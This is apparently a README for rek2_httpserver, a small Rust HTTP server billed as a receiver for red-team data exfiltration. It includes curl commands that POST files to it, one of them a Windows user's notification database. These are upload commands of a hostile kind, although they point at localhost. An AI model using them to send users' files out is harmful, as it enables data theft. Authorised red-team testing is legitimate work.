rek2_httpserver — Exfiltration http Server

🚀 rek2_httpserver

rek2_httpserver is a minimalist HTTP server built in Rust for data exfiltration — no frills, just raw utility. It supports file uploads through HTTP POST requests and offers basic configurability for interface and port.

This tool was designed with speed and simplicity in mind. Whether you're testing file uploads or performing red team ops that need quick exfil, this tiny server has your back.


🔧 Features

  • Configurable Interface and Port
    Choose where the server listens using CLI flags.
  • File Upload Support
    Accepts uploads via POST requests.
  • Content-Disposition Aware
    Extracts filenames from headers if present.
  • Flexible Fallback
    Falls back to default name uploaded_file if none provided.

💻 Usage

⚙️ Start the Server

./rek2_httpserver -i 127.0.0.1 -p 8081

Default bind is 0.0.0.0:8081 if no options are given.


📤 Uploading Files

🐧 Linux — With Content-Disposition

curl -X POST --data-binary "@article" -H "Content-Disposition: attachment; filename=article" http://127.0.0.1:8081/upload/

🪟 Windows — With Content-Disposition

curl -X POST --data-binary "@C:\\Users\\Richard\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpndatabase.db" -H "Content-Disposition: attachment; filename=wpndatabase.db" http://127.0.0.1:8081/upload/

🐧 Linux — Without Header

curl -X POST --data-binary "@article" http://127.0.0.1:8081/upload/

🪟 Windows — Without Header

curl -X POST --data-binary "@C:\\Users\\Richard\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpndatabase.db" http://127.0.0.1:8081/upload/

📁 Notes

  • If Content-Disposition is missing, the file is saved as uploaded_file
  • Uploading the same file name again will overwrite the existing one

🛠️ Build

cargo build --release

Binary will be available under:

target/release/rek2_httpserver

🔗 Repo

👉 https://git.sr.ht/~rek2/rek2_httpserver


⚖️ License

GPLv3 — Free as in freedom, not as in beer. Use responsibly.